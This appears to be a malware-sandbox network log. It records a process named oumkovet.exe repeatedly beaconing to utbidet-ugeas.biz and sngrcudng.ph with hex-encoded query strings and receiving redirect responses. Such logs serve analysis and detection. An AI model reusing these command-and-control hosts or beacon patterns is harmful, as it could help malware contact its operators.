Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:41:03.202294111 CEST	201	OUT	GET /d/N?02264B464D224B464D144B6E4D264B95D1AE48420B274B86E5244E706314657F7F167B684D HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 8, 2024 08:41:03.704098940 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:41:03 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02264B464D224B464D144B6E4D264B95D1AE48420B274B86E5244E706314657F7F167B684D Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.5	49811	45.79.222.138	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:41:04.031558037 CEST	118	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: sngrcudng.ph Cache-Control: no-cache
Sep 8, 2024 08:41:04.543009043 CEST	1236	IN	HTTP/1.1 200 OK date: Sun, 08 Sep 2024 06:41:04 GMT server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.5.38 x-powered-by: PHP/5.5.38 cache-control: no-cache pragma: no-cache content-length: 1966 content-type: text/html; charset=UTF-8 Data Raw: 3c 68 74 6d 6c 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 73 63 72 69 70 74 3e 0a 09 09 09 76 61 72 20 66 6f 72 77 61 72 64 69 6e 67 55 72 6c 20 3d 20 22 2f 70 61 67 65 2f 62 6f 75 6e 63 79 2e 70 68 70 3f 26 62 70 61 65 3d 47 62 68 47 64 69 63 6d 6f 6c 78 37 6a 25 32 42 39 6c 65 25 32 42 45 54 63 30 47 30 50 6e 5a 71 74 51 51 77 4a 73 55 31 56 5a 4c 4b 4d 78 4e 73 76 75 4c 5a 25 32 46 37 77 70 6b 6e 6f 31 38 25 32 46 71 35 6f 35 44 6f 37 53 37 69 63 6b 35 39 55 75 48 4d 71 52 25 32 46 41 31 32 72 68 4f 33 49 4f 37 43 38 33 4f 4e 46 45 42 55 51 72 65 68 6c 48 74 31 30 69 45 51 74 41 46 47 51 4a 45 31 46 32 55 62 54 7a 4b 50 59 79 72 31 6c 45 63 78 72 4f 36 67 7a 57 5a 65 77 4b 39 68 73 46 7a 4a 37 34 43 48 4f 74 6f 4e 67 38 56 6a 38 50 47 4b 50 54 72 65 4c 46 33 58 25 32 46 6c 45 51 25 32 42 4a 59 4c 54 76 75 62 4b 41 4c 50 49 67 37 52 4e 68 31 61 25 32 42 34 65 39 37 6e 4d 42 32 76 66 54 4e 25 32 42 47 63 69 69 70 79 25 32 42 78 68 25 32 46 71 6d 5a 38 4a 41 74 5a 52 63 6e 71 54 79 25 32 46 73 4e 61 33 [TRUNCATED] Data Ascii: <html><head><script>var forwardingUrl = "/page/bouncy.php?&bpae=GbhGdicmolx7j%2B9le%2BETc0G0PnZqtQQwJsU1VZLKMxNsvuLZ%2F7wpkno18%2Fq5o5Do7S7ick59UuHMqR%2FA12rhO3IO7C83ONFEBUQrehlHt10iEQtAFGQJE1F2UbTzKPYyr1lEcxrO6gzWZewK9hsFzJ74CHOtoNg8Vj8PGKPTreLF3X%2FlEQ%2BJYLTvubKALPIg7RNh1a%2B4e97nMB2vfTN%2BGciipy%2Bxh%2FqmZ8JAtZRcnqTy%2FsNa3SKAcQDeu2HOXiyhIUXrO0r5nRuqSDt2OhYpYsLNK9lrWc6vzyxrGj1UrTB%2FSYfVgN4o36VF99ggzlTO8iPt%2BnQjd9ReDiLWKB1hwM%2FtNfnp1bjqQBvv0Xnqlbnz7k4dL8lmXlHemidqpVBhg4rnpquoP3Ao8yCNM0ZYlmA%3D&redirectType=js";var destinationUrl = "/page/bouncy.php?&bpae=GbhGdicmolx7j%2B9le%2BETc0G0PnZqtQQwJsU1VZLKMxNsvuLZ%2F7wpkno18%2Fq5o5Do7S7ick59UuHMqR%2FA12rhO3IO7C83ONFEBUQrehlHt10iEQtAFGQJE1F2UbTzKPYyr1lEcxrO6gzWZewK9hsFzJ74CHOtoNg8Vj8PGKPTreLF3X%2FlEQ%2BJYLTvubKALPIg7RNh1a%2B4e97nMB2vfTN%2BGciipy%2Bxh%2FqmZ8JAtZRcnqTy%2FsNa3SKAcQDeu2HOXiyhIUXrO0r5nRuqSDt2OhYpYsLNK9lrWc6vzyxrGj1UrTB%2FSYfVgN4o36VF99ggzlTO8iPt%2BnQjd9ReDiLWKB1hwM%2FtNfnp1bjqQBvv0Xnqlbnz7k4dL8lmXlHem
Sep 8, 2024 08:41:04.543026924 CEST	979	IN	Data Raw: 69 64 71 70 56 42 68 67 34 72 6e 70 71 75 6f 50 33 41 6f 38 79 43 4e 4d 30 5a 59 6c 6d 41 25 33 44 26 72 65 64 69 72 65 63 74 54 79 70 65 3d 6d 65 74 61 22 3b 0a 09 09 09 76 61 72 20 61 64 64 44 65 74 65 63 74 69 6f 6e 20 3d 20 74 72 75 65 3b 0a Data Ascii: idqpVBhg4rnpquoP3Ao8yCNM0ZYlmA%3D&redirectType=meta";var addDetection = true;if (addDetection) {var inIframe = window.self !== window.top;forwardingUrl += "&inIframe=" + inIframe;var inPopUp = (window.opener !== undefine

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.5	49812	172.234.222.143	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:41:04.552807093 CEST	169	OUT	GET /d/N?02C2F15B13C6F15B13F0F13313C2F1888F4AF25F55C3F19BBBC0F46D3DF0DF6221F2C17513 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 8, 2024 08:41:05.053983927 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:41:04 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02C2F15B13C6F15B13F0F13313C2F1888F4AF25F55C3F19BBBC0F46D3DF0DF6221F2C17513 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.5	49813	172.234.222.138	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:41:05.060260057 CEST	201	OUT	GET /d/N?02C2F15B13C6F15B13F0F13313C2F1888F4AF25F55C3F19BBBC0F46D3DF0DF6221F2C17513 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 8, 2024 08:41:05.545912981 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:41:05 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02C2F15B13C6F15B13F0F13313C2F1888F4AF25F55C3F19BBBC0F46D3DF0DF6221F2C17513 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.5	49815	172.234.222.143	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:41:05.808358908 CEST	169	OUT	GET /d/N?02CA081B7BCE081B7BF808337BCA08C8E7420B1F3DCB08DBD3C80D2D55F8262249FA38357B HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 8, 2024 08:41:06.304136992 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:41:06 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02CA081B7BCE081B7BF808337BCA08C8E7420B1F3DCB08DBD3C80D2D55F8262249FA38357B Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.5	49816	172.234.222.138	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:41:06.354023933 CEST	201	OUT	GET /d/N?02CA081B7BCE081B7BF808337BCA08C8E7420B1F3DCB08DBD3C80D2D55F8262249FA38357B HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 8, 2024 08:41:06.836442947 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:41:06 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02CA081B7BCE081B7BF808337BCA08C8E7420B1F3DCB08DBD3C80D2D55F8262249FA38357B Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.5	49818	172.234.222.143	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:41:06.995913029 CEST	169	OUT	GET /d/N?02CAC7ED44CEC7ED44F8C7C544CAC73ED842C4E902CBC72DECC8C2DB6AF8E9D476FAF7C344 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 8, 2024 08:41:07.473562956 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:41:07 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02CAC7ED44CEC7ED44F8C7C544CAC73ED842C4E902CBC72DECC8C2DB6AF8E9D476FAF7C344 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.5	49819	172.234.222.138	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:41:07.480962038 CEST	201	OUT	GET /d/N?02CAC7ED44CEC7ED44F8C7C544CAC73ED842C4E902CBC72DECC8C2DB6AF8E9D476FAF7C344 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 8, 2024 08:41:07.975644112 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:41:07 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02CAC7ED44CEC7ED44F8C7C544CAC73ED842C4E902CBC72DECC8C2DB6AF8E9D476FAF7C344 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.5	49821	172.234.222.143	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:41:08.574203014 CEST	169	OUT	GET /d/N?02EB3FAB71EF3FAB71D93F8371EB3F78ED633CAF37EA3F6BD9E93A9D5FD9119243DB0F8571 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 8, 2024 08:41:09.069403887 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:41:09 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02EB3FAB71EF3FAB71D93F8371EB3F78ED633CAF37EA3F6BD9E93A9D5FD9119243DB0F8571 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.5	49822	172.234.222.138	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:41:09.082654953 CEST	201	OUT	GET /d/N?02EB3FAB71EF3FAB71D93F8371EB3F78ED633CAF37EA3F6BD9E93A9D5FD9119243DB0F8571 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 8, 2024 08:41:09.572642088 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:41:09 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02EB3FAB71EF3FAB71D93F8371EB3F78ED633CAF37EA3F6BD9E93A9D5FD9119243DB0F8571 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.5	49824	172.234.222.143	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:41:09.731484890 CEST	169	OUT	GET /d/N?02250FF32B210FF32B170FDB2B250F20B7AD0CF76D240F3383270AC5051721CA19153FDD2B HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 8, 2024 08:41:10.216526031 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:41:10 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02250FF32B210FF32B170FDB2B250F20B7AD0CF76D240F3383270AC5051721CA19153FDD2B Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.5	49825	172.234.222.138	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:41:10.224431038 CEST	201	OUT	GET /d/N?02250FF32B210FF32B170FDB2B250F20B7AD0CF76D240F3383270AC5051721CA19153FDD2B HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 8, 2024 08:41:10.734514952 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:41:10 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02250FF32B210FF32B170FDB2B250F20B7AD0CF76D240F3383270AC5051721CA19153FDD2B Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.5	49827	172.234.222.143	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:41:10.886550903 CEST	169	OUT	GET /d/N?0252CF139856CF139860CF3B9852CFC004DACC17DE53CFD33050CA25B660E12AAA62FF3D98 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 8, 2024 08:41:11.362313986 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:41:11 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0252CF139856CF139860CF3B9852CFC004DACC17DE53CFD33050CA25B660E12AAA62FF3D98 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.5	49828	172.234.222.138	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:41:11.371989012 CEST	201	OUT	GET /d/N?0252CF139856CF139860CF3B9852CFC004DACC17DE53CFD33050CA25B660E12AAA62FF3D98 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 8, 2024 08:41:11.864073992 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:41:11 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0252CF139856CF139860CF3B9852CFC004DACC17DE53CFD33050CA25B660E12AAA62FF3D98 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.5	49830	172.234.222.143	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:41:12.027146101 CEST	169	OUT	GET /d/N?0229279E242D279E241B27B62429274DB8A1249A6228275E8C2B22A80A1B09A7161917B024 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
